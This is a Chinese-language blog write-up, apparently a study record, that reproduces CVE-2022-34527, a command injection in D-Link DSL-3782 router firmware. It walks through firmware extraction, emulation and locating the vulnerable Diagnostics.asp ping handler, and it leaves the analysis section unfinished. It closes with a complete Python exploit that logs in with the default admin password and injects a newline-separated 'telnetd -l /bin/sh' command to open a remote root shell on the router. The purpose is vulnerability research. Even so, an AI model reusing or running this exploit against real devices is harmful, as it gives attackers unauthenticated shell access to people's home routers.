CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现

一、漏洞描述

CVE-2022-34527 D-Link DSL-3782 v1.03及以下版本被发现包含通过函数byte_4C0160的命令注入漏洞,根据已知公开在cfg_manger 文件的代码 sub_474c78 函数中,byte_4C0160作为system的参数执行。

固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip

二、固件提取

iot@attifyos ~/D/dsl-3782_a1_eu_1.01_07282016> binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第1张图片
首先通过查询路由启动信息服务,来找到相关需要验证这个注入漏洞的文件(命令)。
/usr/etc/init.d/rcS 是一个在Linux系统中用于初始化系统的脚本文件。在路由器或嵌入式系统中,它通常是启动系统时会自动运行的脚本之一,用于执行各种初始化任务和设置。直接通过关键字直接搜索server

#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第2张图片
贴出的脚本涉及使用 Boa 网络服务器软件启动一个网页服务器。Boa 是一款轻量级且简单的网络服务器,通常用于嵌入式系统和资源受限的环境。这个脚本似乎有以下功能:

它会检查两个目录是否存在:/var/boaroot/html//var/boaroot/cgi-bin/。这些目录很可能用于存放网页服务器的 HTML 文件和 CGI 脚本。

三、固件模拟

sudo python3 fat.py ./DSL-3782.bin

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第3张图片
CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第4张图片
默认密码是:admin,进入之后直接关闭页面直接通过菜单栏找到Management >> Diagnostics,看到过较多文章直接使用相关ping功能进行朔源漏洞点!
CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第5张图片
CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第6张图片

POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1

抓到的POST包,有个ping功能的asp功能页面/cgi-bin/New_GUI/Set/Diagnostics.asp快捷方式找asp文件
CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第7张图片

<%
TcWebApi_Set("Diagnostics_Entry","Type","Type")
TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
TCWebApi_commit("Diagnostics_Entry")
%>a

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第8张图片

iot@attifyos ~/D/d/_/squashfs-root> grep -r Diagnostics_Entry
boaroot/cgi-bin/get/New_GUI/Diagnostics.cgi:node_name="Diagnostics_Entry"
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Type","Type")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TCWebApi_commit("Diagnostics_Entry")
Binary file userfs/bin/cfg_manager matches

iot@attifyos ~/D/d/_/squashfs-root> file userfs/bin/cfg_manager matches
userfs/bin/cfg_manager: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
matches:                cannot open `matches' (No such file or directory)

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第9张图片
或者搜索文件名字:cfg_manager

四、漏洞分析

IDA打开文件后直接shift+F3 搜索:byte_4C0160
在这里插入图片描述
后续在更新

五、漏洞利用

CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现_第10张图片
EXP

import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"
    resp = s.get(url,headers=headers,timeout=10)
    print(resp.text)
 
 
def get_session_key():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url,headers=headers,timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey
 
 
def exp(sessionKey=None):
 
    cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"
     
    s = requests.Session()
    s.verify = False
    params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url,data=params,headers=headers,timeout=100000)
    print(resp.text)
 
 
if __name__ == '__main__':
    print("\n[*] Connection ",main_url);
    login()
 
    print("[*] Getting session key")
    sessionKey = get_session_key()
 
    print("[*] Sending payload")
    exp(sessionKey=sessionKey)
    print("[*] Running Telnetd Service")
    print("[*] Opening Telnet Connection\n")
    sleep(3)
    os.system('telnet ' + str(server) + ' 8090')

六、参考

D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
命令注入漏洞CVE-2022-34527复现(学习记录)

你可能感兴趣的:(漏洞分析,安全威胁分析,iot)